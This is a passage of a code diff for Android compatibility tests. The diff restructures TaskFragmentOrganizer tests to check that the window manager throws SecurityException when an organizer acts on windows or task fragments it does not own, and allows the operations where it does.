mTaskFragmentOrganizer = new BasicTaskFragmentOrganizer();
mTaskFragmentOrganizer.registerOrganizer();
+ mOrganizers.add(mTaskFragmentOrganizer);
}
@After
public void tearDown() {
- if (mTaskFragmentOrganizer != null) {
- mTaskFragmentOrganizer.unregisterOrganizer();
+ for (TaskFragmentOrganizer organizer : mOrganizers) {
+ organizer.unregisterOrganizer();
+ }
+ mOrganizers.clear();
+ if (mTaskOrganizer != null) {
+ NestedShellPermission.run(() -> mTaskOrganizer.unregisterOrganizer());
}
}
/**
- * Verifies whether performing non-TaskFragment
- * {@link android.window.WindowContainerTransaction.HierarchyOp operations} on
- * {@link TaskFragmentOrganizer} without permission throws {@link SecurityException}.
+ * Verifies that performing {@link WindowContainerTransaction#createTaskFragment} will fail if
+ * the fragment token is not unique.
*/
- @Test(expected = SecurityException.class)
- public void testPerformNonTaskFragmentHierarchyOperation_ThrowException() {
- final List<TaskAppearedInfo> taskInfos = new ArrayList<>();
- try {
- // Register TaskOrganizer to obtain Task information.
- NestedShellPermission.run(() -> {
- mTaskOrganizer = new TaskOrganizer();
- taskInfos.addAll(mTaskOrganizer.registerOrganizer());
- });
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#createTaskFragment"})
+ public void testCreateTaskFragment_duplicatedFragmentToken_reportError() {
+ // TODO(b/232476698) The enforcement is new. Remove the assume in the next release.
+ assumeExtensionVersionAtLeast2();
+ final Activity activity = startNewActivity();
+ final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final IBinder existingFragmentToken = taskFragmentInfo.getFragmentToken();
+ final IBinder errorCallbackToken = new Binder();
- // It is expected to throw Security exception when TaskFragmentOrganizer performs a
- // non-TaskFragment hierarchy operation.
- final WindowContainerToken taskToken = taskInfos.get(0).getTaskInfo().getToken();
- final WindowContainerTransaction wct = new WindowContainerTransaction()
- .reorder(taskToken, true /* opTop */);
- mTaskFragmentOrganizer.applyTransaction(wct);
- } finally {
- if (mTaskOrganizer != null) {
- NestedShellPermission.run(() -> mTaskOrganizer.unregisterOrganizer());
- }
- }
+ // Request to create another TaskFragment using the existing fragment token.
+ final TaskFragmentCreationParams params = mTaskFragmentOrganizer.generateTaskFragParams(
+ existingFragmentToken, getActivityToken(activity), new Rect(),
+ WINDOWING_MODE_UNDEFINED);
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .setErrorCallbackToken(errorCallbackToken)
+ .createTaskFragment(params);
+
+ mTaskFragmentOrganizer.applyTransaction(wct);
+ mTaskFragmentOrganizer.waitForTaskFragmentError();
+
+ assertThat(mTaskFragmentOrganizer.getThrowable()).isInstanceOf(
+ IllegalArgumentException.class);
+ assertThat(mTaskFragmentOrganizer.getErrorCallbackToken()).isEqualTo(errorCallbackToken);
}
/**
- * Verifies whether changing property on non-TaskFragment window container without permission
- * throws {@link SecurityException}.
+ * Verifies that performing {@link WindowContainerTransaction#deleteTaskFragment} on
+ * non-TaskFragment window will throw {@link SecurityException}.
*/
- @Test(expected = SecurityException.class)
- public void testSetPropertyOnNonTaskFragment_ThrowException() {
- final List<TaskAppearedInfo> taskInfos = new ArrayList<>();
- try {
- // Register TaskOrganizer to obtain Task information.
- NestedShellPermission.run(() -> {
- mTaskOrganizer = new TaskOrganizer();
- taskInfos.addAll(mTaskOrganizer.registerOrganizer());
- });
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#deleteTaskFragment"})
+ public void testDeleteTaskFragment_nonTaskFragmentWindow_throwException() {
+ final WindowContainerToken taskToken = getFirstTaskToken();
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .deleteTaskFragment(taskToken);
- // It is expected to throw SecurityException when TaskFragmentOrganizer attempts to
- // change the property on non-TaskFragment container.
- final WindowContainerToken taskToken = taskInfos.get(0).getTaskInfo().getToken();
- final WindowContainerTransaction wct = new WindowContainerTransaction()
- .setBounds(taskToken, new Rect());
- mTaskFragmentOrganizer.applyTransaction(wct);
- } finally {
- if (mTaskOrganizer != null) {
- NestedShellPermission.run(() -> mTaskOrganizer.unregisterOrganizer());
- }
- }
+ assertThrows(SecurityException.class, () -> mTaskFragmentOrganizer.applyTransaction(wct));
}
/**
- * Verifies whether performing TaskFragment
- * {@link android.window.WindowContainerTransaction.HierarchyOp operations} on the TaskFragment
- * which is not organized by given {@link TaskFragmentOrganizer} throws
+ * Verifies that performing {@link WindowContainerTransaction#deleteTaskFragment} on
+ * non-organized TaskFragment will throw {@link SecurityException}.
+ */
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#deleteTaskFragment"})
+ public void testDeleteTaskFragment_nonOrganizedTaskFragment_throwException() {
+ final Activity activity = startNewActivity();
+ final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final WindowContainerToken taskFragmentToken = taskFragmentInfo.getToken();
+
+ // Create another TaskFragmentOrganizer to request operation.
+ final TaskFragmentOrganizer anotherOrganizer = registerNewOrganizer();
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .deleteTaskFragment(taskFragmentToken);
+
+ assertThrows(SecurityException.class, () -> anotherOrganizer.applyTransaction(wct));
+ }
+
+ /**
+ * Verifies that performing {@link WindowContainerTransaction#deleteTaskFragment} on organized
+ * TaskFragment is allowed.
+ */
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#deleteTaskFragment"})
+ public void testDeleteTaskFragment_organizedTaskFragment() {
+ final Activity activity = startNewActivity();
+ final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final WindowContainerToken taskFragmentToken = taskFragmentInfo.getToken();
+
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .deleteTaskFragment(taskFragmentToken);
+
+ mTaskFragmentOrganizer.applyTransaction(wct);
+ }
+
+ /**
+ * Verifies that performing {@link WindowContainerTransaction#setAdjacentRoots} on
+ * non-TaskFragment window will throw {@link SecurityException}.
+ */
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#setAdjacentRoots"})
+ public void testSetAdjacentRoots_nonTaskFragmentWindow_throwException() {
+ // TODO(b/232476698) The TestApi is changed. Remove the assume in the next release.
+ assumeExtensionVersionAtLeast2();
+ final WindowContainerToken taskToken = getFirstTaskToken();
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .setAdjacentRoots(taskToken, taskToken);
+
+ assertThrows(SecurityException.class, () -> mTaskFragmentOrganizer.applyTransaction(wct));
+ }
+
+ /**
+ * Verifies that performing {@link WindowContainerTransaction#setAdjacentRoots} on
+ * non-organized TaskFragment will throw {@link SecurityException}.
+ */
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#setAdjacentRoots"})
+ public void testSetAdjacentRoots_nonOrganizedTaskFragment_throwException() {
+ // TODO(b/232476698) The TestApi is changed. Remove the assume in the next release.
+ assumeExtensionVersionAtLeast2();
+ final Activity activity = startNewActivity();
+ final TaskFragmentInfo taskFragmentInfo0 = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final TaskFragmentInfo taskFragmentInfo1 = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final WindowContainerToken taskFragmentToken0 = taskFragmentInfo0.getToken();
+ final WindowContainerToken taskFragmentToken1 = taskFragmentInfo1.getToken();
+
+ // Create another TaskFragmentOrganizer to request operation.
+ final TaskFragmentOrganizer anotherOrganizer = registerNewOrganizer();
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .setAdjacentRoots(taskFragmentToken0, taskFragmentToken1);
+
+ assertThrows(SecurityException.class, () -> anotherOrganizer.applyTransaction(wct));
+ }
+
+ /**
+ * Verifies that performing {@link WindowContainerTransaction#setAdjacentRoots} on organized
+ * TaskFragment is allowed.
+ */
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#setAdjacentRoots"})
+ public void testSetAdjacentRoots_organizedTaskFragment() {
+ // TODO(b/232476698) The TestApi is changed. Remove the assume in the next release.
+ assumeExtensionVersionAtLeast2();
+ final Activity activity = startNewActivity();
+ final TaskFragmentInfo taskFragmentInfo0 = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final TaskFragmentInfo taskFragmentInfo1 = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final WindowContainerToken taskFragmentToken0 = taskFragmentInfo0.getToken();
+ final WindowContainerToken taskFragmentToken1 = taskFragmentInfo1.getToken();
+
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .setAdjacentRoots(taskFragmentToken0, taskFragmentToken1);
+
+ mTaskFragmentOrganizer.applyTransaction(wct);
+ }
+
+ /**
+ * Verifies that performing {@link WindowContainerTransaction#reparentChildren} on
+ * non-TaskFragment window will throw {@link SecurityException}.
+ */
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#reparentChildren"})
+ public void testReparentChildren_nonTaskFragmentWindow_throwException() {
+ final WindowContainerToken taskToken = getFirstTaskToken();
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .reparentChildren(taskToken, null /* newParent */);
+
+ assertThrows(SecurityException.class, () -> mTaskFragmentOrganizer.applyTransaction(wct));
+ }
+
+ /**
+ * Verifies that performing {@link WindowContainerTransaction#reparentChildren} on
+ * non-organized TaskFragment will throw {@link SecurityException}.
+ */
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#reparentChildren"})
+ public void testReparentChildren_nonOrganizedTaskFragment_throwException() {
+ final Activity activity = startNewActivity();
+ final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final WindowContainerToken taskFragmentToken = taskFragmentInfo.getToken();
+
+ // Create another TaskFragmentOrganizer to request operation.
+ final TaskFragmentOrganizer anotherOrganizer = registerNewOrganizer();
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .reparentChildren(taskFragmentToken, null /* newParent */);
+
+ assertThrows(SecurityException.class, () -> anotherOrganizer.applyTransaction(wct));
+ }
+
+ /**
+ * Verifies that performing {@link WindowContainerTransaction#reparentChildren} on organized
+ * TaskFragment is allowed.
+ */
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#reparentChildren"})
+ public void testReparent_organizedTaskFragment() {
+ final Activity activity = startNewActivity();
+ final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final WindowContainerToken taskFragmentToken = taskFragmentInfo.getToken();
+
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .reparentChildren(taskFragmentToken, null /* newParent */);
+
+ mTaskFragmentOrganizer.applyTransaction(wct);
+ }
+
+ /**
+ * Verifies that performing {@link WindowContainerTransaction#startActivityInTaskFragment} on
+ * non-organized TaskFragment will throw {@link SecurityException}.
+ */
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#startActivityInTaskFragment"})
+ public void testStartActivityInTaskFragment_nonOrganizedTaskFragment_throwException() {
+ // TODO(b/232476698) The enforcement is new. Remove the assume in the next release.
+ assumeExtensionVersionAtLeast2();
+ final Activity activity = startNewActivity();
+ final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final IBinder fragmentToken = taskFragmentInfo.getFragmentToken();
+ final IBinder callerToken = getActivityToken(activity);
+ final Intent intent = new Intent(mContext, TestActivity.class);
+
+ // Create another TaskFragmentOrganizer to request operation.
+ final TaskFragmentOrganizer anotherOrganizer = registerNewOrganizer();
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .startActivityInTaskFragment(fragmentToken, callerToken, intent,
+ null /* activityOptions */);
+
+ assertThrows(SecurityException.class, () -> anotherOrganizer.applyTransaction(wct));
+ }
+
+ /**
+ * Verifies that performing {@link WindowContainerTransaction#startActivityInTaskFragment} on
+ * organized TaskFragment is allowed.
+ */
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#startActivityInTaskFragment"})
+ public void testStartActivityInTaskFragment_organizedTaskFragment() {
+ final Activity activity = startNewActivity();
+ final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final IBinder fragmentToken = taskFragmentInfo.getFragmentToken();
+ final IBinder callerToken = getActivityToken(activity);
+ final Intent intent = new Intent(mContext, TestActivity.class);
+
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .startActivityInTaskFragment(fragmentToken, callerToken, intent,
+ null /* activityOptions */);
+
+ mTaskFragmentOrganizer.applyTransaction(wct);
+ }
+
+ /**
+ * Verifies that performing {@link WindowContainerTransaction#requestFocusOnTaskFragment} on
+ * non-organized TaskFragment will throw {@link SecurityException}.
+ */
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#requestFocusOnTaskFragment"})
+ public void testRequestFocusOnTaskFragment_nonOrganizedTaskFragment_throwException() {
+ // TODO(b/232476698) The TestApi is new. Remove the assume in the next release.
+ assumeExtensionVersionAtLeast2();
+ final Activity activity = startNewActivity();
+ final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final IBinder fragmentToken = taskFragmentInfo.getFragmentToken();
+
+ // Create another TaskFragmentOrganizer to request operation.
+ final TaskFragmentOrganizer anotherOrganizer = registerNewOrganizer();
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .requestFocusOnTaskFragment(fragmentToken);
+
+ assertThrows(SecurityException.class, () -> anotherOrganizer.applyTransaction(wct));
+ }
+
+ /**
+ * Verifies that performing {@link WindowContainerTransaction#requestFocusOnTaskFragment} on
+ * organized TaskFragment is allowed.
+ */
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#requestFocusOnTaskFragment"})
+ public void testRequestFocusOnTaskFragment_organizedTaskFragment() {
+ // TODO(b/232476698) The TestApi is new. Remove the assume in the next release.
+ assumeExtensionVersionAtLeast2();
+ final Activity activity = startNewActivity();
+ final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final IBinder fragmentToken = taskFragmentInfo.getFragmentToken();
+
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .requestFocusOnTaskFragment(fragmentToken);
+
+ mTaskFragmentOrganizer.applyTransaction(wct);
+ }
+
+ /**
+ * Verifies that performing {@link WindowContainerTransaction#reparentActivityToTaskFragment} on
+ * non-organized TaskFragment will throw {@link SecurityException}.
+ */
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#reparentActivityToTaskFragment"})
+ public void testReparentActivityToTaskFragment_nonOrganizedTaskFragment_throwException() {
+ // TODO(b/232476698) The enforcement is new. Remove the assume in the next release.
+ assumeExtensionVersionAtLeast2();
+ final Activity activity = startNewActivity();
+ final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final IBinder fragmentToken = taskFragmentInfo.getFragmentToken();
+ final IBinder activityToken = getActivityToken(activity);
+
+ // Create another TaskFragmentOrganizer to request operation.
+ final TaskFragmentOrganizer anotherOrganizer = registerNewOrganizer();
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .reparentActivityToTaskFragment(fragmentToken, activityToken);
+
+ assertThrows(SecurityException.class, () -> anotherOrganizer.applyTransaction(wct));
+ }
+
+ /**
+ * Verifies that performing {@link WindowContainerTransaction#reparentActivityToTaskFragment} on
+ * organized TaskFragment is allowed.
+ */
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#startActivityInTaskFragment"})
+ public void testReparentActivityToTaskFragment_organizedTaskFragment() {
+ final Activity activity = startNewActivity();
+ final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final IBinder fragmentToken = taskFragmentInfo.getFragmentToken();
+ final IBinder activityToken = getActivityToken(activity);
+
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .reparentActivityToTaskFragment(fragmentToken, activityToken);
+
+ mTaskFragmentOrganizer.applyTransaction(wct);
+ }
+
+ /**
+ * Verifies that performing {@link WindowContainerTransaction#setAdjacentTaskFragments} on
+ * non-organized TaskFragment will throw {@link SecurityException}.
+ */
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#setAdjacentTaskFragments"})
+ public void testSetAdjacentTaskFragments_nonOrganizedTaskFragment_throwException() {
+ // TODO(b/232476698) The enforcement is new. Remove the assume in the next release.
+ assumeExtensionVersionAtLeast2();
+ final Activity activity = startNewActivity();
+ final TaskFragmentInfo taskFragmentInfo0 = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final TaskFragmentInfo taskFragmentInfo1 = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final IBinder fragmentToken0 = taskFragmentInfo0.getFragmentToken();
+ final IBinder fragmentToken1 = taskFragmentInfo1.getFragmentToken();
+
+ // Create another TaskFragmentOrganizer to request operation.
+ final TaskFragmentOrganizer anotherOrganizer = registerNewOrganizer();
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .setAdjacentTaskFragments(fragmentToken0, fragmentToken1, null /* params */);
+
+ assertThrows(SecurityException.class, () -> anotherOrganizer.applyTransaction(wct));
+ }
+
+ /**
+ * Verifies that performing {@link WindowContainerTransaction#setAdjacentTaskFragments} on
+ * organized TaskFragment is allowed.
+ */
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#setAdjacentTaskFragments"})
+ public void testSetAdjacentTaskFragments_organizedTaskFragment() {
+ final Activity activity = startNewActivity();
+ final TaskFragmentInfo taskFragmentInfo0 = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final TaskFragmentInfo taskFragmentInfo1 = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final IBinder fragmentToken0 = taskFragmentInfo0.getFragmentToken();
+ final IBinder fragmentToken1 = taskFragmentInfo1.getFragmentToken();
+
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .setAdjacentTaskFragments(fragmentToken0, fragmentToken1, null /* params */);
+
+ mTaskFragmentOrganizer.applyTransaction(wct);
+ }
+
+ /**
+ * Verifies that changing property on non-TaskFragment window will throw
* {@link SecurityException}.
*/
- @Test(expected = SecurityException.class)
- public void testPerformOperationsOnNonOrganizedTaskFragment_ThrowException() {
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#setBounds"})
+ public void testSetProperty_nonTaskFragmentWindow_throwException() {
+ final WindowContainerToken taskToken = getFirstTaskToken();
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .setBounds(taskToken, new Rect());
+
+ assertThrows(SecurityException.class, () -> mTaskFragmentOrganizer.applyTransaction(wct));
+ }
+
+ /**
+ * Verifies that changing property on non-organized TaskFragment will throw
+ * {@link SecurityException}.
+ */
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#setBounds"})
+ public void testSetProperty_nonOrganizedTaskFragment_throwException() {
final Activity activity = startNewActivity();
+ final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final WindowContainerToken taskFragmentToken = taskFragmentInfo.getToken();
- // Create a TaskFragment with a TaskFragmentOrganizer.
- final TaskFragmentCreationParams params = mTaskFragmentOrganizer.generateTaskFragParams(
- getActivityToken(activity));
- final IBinder taskFragToken = params.getFragmentToken();
- WindowContainerTransaction wct = new WindowContainerTransaction()
- .createTaskFragment(params);
+ // Create another TaskFragmentOrganizer to request operation.
+ final TaskFragmentOrganizer anotherOrganizer = registerNewOrganizer();
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .setBounds(taskFragmentToken, new Rect());
+
+ assertThrows(SecurityException.class, () -> anotherOrganizer.applyTransaction(wct));
+ }
+
+ /**
+ * Verifies that changing property on organized TaskFragment is allowed.
+ */
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#setBounds"})
+ public void testSetProperty_organizedTaskFragment() {
+ final Activity activity = startNewActivity();
+ final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final WindowContainerToken taskFragmentToken = taskFragmentInfo.getToken();
+
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .setBounds(taskFragmentToken, new Rect());
+
mTaskFragmentOrganizer.applyTransaction(wct);
- // Wait for TaskFragment's creation to obtain its WindowContainerToken.
- mTaskFragmentOrganizer.waitForTaskFragmentCreated();
+ }
- // Create another TaskFragmentOrganizer
- final TaskFragmentOrganizer anotherOrganizer = new TaskFragmentOrganizer(Runnable::run);
- anotherOrganizer.registerOrganizer();
- // Try to perform an operation on the TaskFragment when is organized by the previous
- // TaskFragmentOrganizer.
- wct = new WindowContainerTransaction()
- .deleteTaskFragment(mTaskFragmentOrganizer.getTaskFragmentInfo(taskFragToken)
- .getToken());
+ /**
+ * Verifies that performing {@link WindowContainerTransaction#reparent} from
+ * TaskFragmentOrganizer will throw {@link SecurityException}.
+ */
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#reparent"})
+ public void testDisallowOperation_reparent() {
+ final Activity activity = startNewActivity();
+ final TaskFragmentInfo taskFragmentInfo0 = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final TaskFragmentInfo taskFragmentInfo1 = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final WindowContainerToken taskFragmentToken0 = taskFragmentInfo0.getToken();
+ final WindowContainerToken taskFragmentToken1 = taskFragmentInfo1.getToken();
- // It is expected to throw SecurityException when performing operations on the TaskFragment
- // which is not organized by the same TaskFragmentOrganizer.
- anotherOrganizer.applyTransaction(wct);
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .reparent(taskFragmentToken0, taskFragmentToken1, true /* onTop */);
+
+ assertThrows(SecurityException.class, () -> mTaskFragmentOrganizer.applyTransaction(wct));
+ }
+
+ /**
+ * Verifies that performing {@link WindowContainerTransaction#reorder} from
+ * TaskFragmentOrganizer will throw {@link SecurityException}.
+ */
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#reorder"})
+ public void testDisallowOperation_reorder() {
+ // TODO(b/232476698) The enforcement is new. Remove the assume in the next release.
+ assumeExtensionVersionAtLeast2();
+ final Activity activity = startNewActivity();
+ final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final WindowContainerToken taskFragmentToken = taskFragmentInfo.getToken();
+
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .reorder(taskFragmentToken, true /* onTop */);
+
+ assertThrows(SecurityException.class, () -> mTaskFragmentOrganizer.applyTransaction(wct));
+ }
+
+ /**
+ * Verifies that performing {@link WindowContainerTransaction#setLaunchRoot} from
+ * TaskFragmentOrganizer will throw {@link SecurityException}.
+ */
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#setLaunchRoot"})
+ public void testDisallowOperation_setLaunchRoot() {
+ final Activity activity = startNewActivity();
+ final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final WindowContainerToken taskFragmentToken = taskFragmentInfo.getToken();
+
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .setLaunchRoot(taskFragmentToken, null /* windowingModes */,
+ null /* activityTypes */);
+
+ assertThrows(SecurityException.class, () -> mTaskFragmentOrganizer.applyTransaction(wct));
+ }
+
+ /**
+ * Verifies that performing {@link WindowContainerTransaction#setLaunchAdjacentFlagRoot} from
+ * TaskFragmentOrganizer will throw {@link SecurityException}.
+ */
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#setLaunchAdjacentFlagRoot"})
+ public void testDisallowOperation_setLaunchAdjacentFlagRoot() {
+ final Activity activity = startNewActivity();
+ final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final WindowContainerToken taskFragmentToken = taskFragmentInfo.getToken();
+
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .setLaunchAdjacentFlagRoot(taskFragmentToken);
+
+ assertThrows(SecurityException.class, () -> mTaskFragmentOrganizer.applyTransaction(wct));
+ }
+
+ /**
+ * Verifies that performing {@link WindowContainerTransaction#clearLaunchAdjacentFlagRoot} from
+ * TaskFragmentOrganizer will throw {@link SecurityException}.
+ */
+ @Test
+ @ApiTest(apis = {
+ "android.window.TaskFragmentOrganizer#applyTransaction",
+ "android.window.WindowContainerTransaction#clearLaunchAdjacentFlagRoot"})
+ public void testDisallowOperation_clearLaunchAdjacentFlagRoot() {
+ final Activity activity = startNewActivity();
+ final TaskFragmentInfo taskFragmentInfo = createOrganizedTaskFragment(
+ mTaskFragmentOrganizer, activity);
+ final WindowContainerToken taskFragmentToken = taskFragmentInfo.getToken();
+
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .clearLaunchAdjacentFlagRoot(taskFragmentToken);
+
+ assertThrows(SecurityException.class, () -> mTaskFragmentOrganizer.applyTransaction(wct));
}
/**
@@ -349,15 +845,47 @@
});
}
}
-
- private static Activity startNewActivity() {
- return startNewActivity(TestActivity.class);
+ /**
+ * Creates and registers a {@link TaskFragmentOrganizer} that will be unregistered in
+ * {@link #tearDown()}.
+ */
+ private BasicTaskFragmentOrganizer registerNewOrganizer() {
+ final BasicTaskFragmentOrganizer organizer = new BasicTaskFragmentOrganizer();
+ organizer.registerOrganizer();
+ mOrganizers.add(organizer);
+ return organizer;
}
- private static Activity startNewActivity(Class<?> className) {
- final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
- final Intent intent = new Intent(instrumentation.getTargetContext(), className)
- .addFlags(FLAG_ACTIVITY_NEW_TASK);
- return instrumentation.startActivitySync(intent);
+ /**
+ * Registers a {@link TaskOrganizer} to get the {@link WindowContainerToken} of a Task. The
+ * organizer will be unregistered in {@link #tearDown()}.
+ */
+ private WindowContainerToken getFirstTaskToken() {
+ final List<TaskAppearedInfo> taskInfos = new ArrayList<>();
+ // Register TaskOrganizer to obtain Task information.
+ NestedShellPermission.run(() -> {
+ mTaskOrganizer = new TaskOrganizer();
+ taskInfos.addAll(mTaskOrganizer.registerOrganizer());
+ });
+ return taskInfos.get(0).getTaskInfo().getToken();
+ }
+
+ /**
+ * Creates a TaskFragment organized by the given organizer. The TaskFragment will be removed
+ * when the organizer is unregistered.
+ */
+ private static TaskFragmentInfo createOrganizedTaskFragment(
+ BasicTaskFragmentOrganizer organizer, Activity ownerActivity) {
+ // Create a TaskFragment with a TaskFragmentOrganizer.
+ final TaskFragmentCreationParams params = organizer.generateTaskFragParams(
+ getActivityToken(ownerActivity));
+ final WindowContainerTransaction wct = new WindowContainerTransaction()
+ .createTaskFragment(params);
+ organizer.applyTransaction(wct);
+
+ // Wait for TaskFragment's creation to obtain its info.
+ organizer.waitForTaskFragmentCreated();
+ organizer.resetLatch();
+ return organizer.getTaskFragmentInfo(params.getFragmentToken());
}
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTest.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTest.java
index 6e9d910..2963e8d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentOrganizerTest.java
@@ -19,11 +19,13 @@
import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
import static android.server.wm.WindowManagerState.STATE_RESUMED;
import static android.server.wm.WindowManagerState.STATE_STOPPED;
+import static android.view.Display.DEFAULT_DISPLAY;
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
import static org.junit.Assert.assertThrows;
+import static org.junit.Assert.assertTrue;
import static org.junit.Assume.assumeTrue;
import android.app.Activity;
@@ -43,6 +45,8 @@
import android.window.WindowContainerToken;
import android.window.WindowContainerTransaction;
+import com.android.compatibility.common.util.ApiTest;
+
import org.junit.Test;
/**
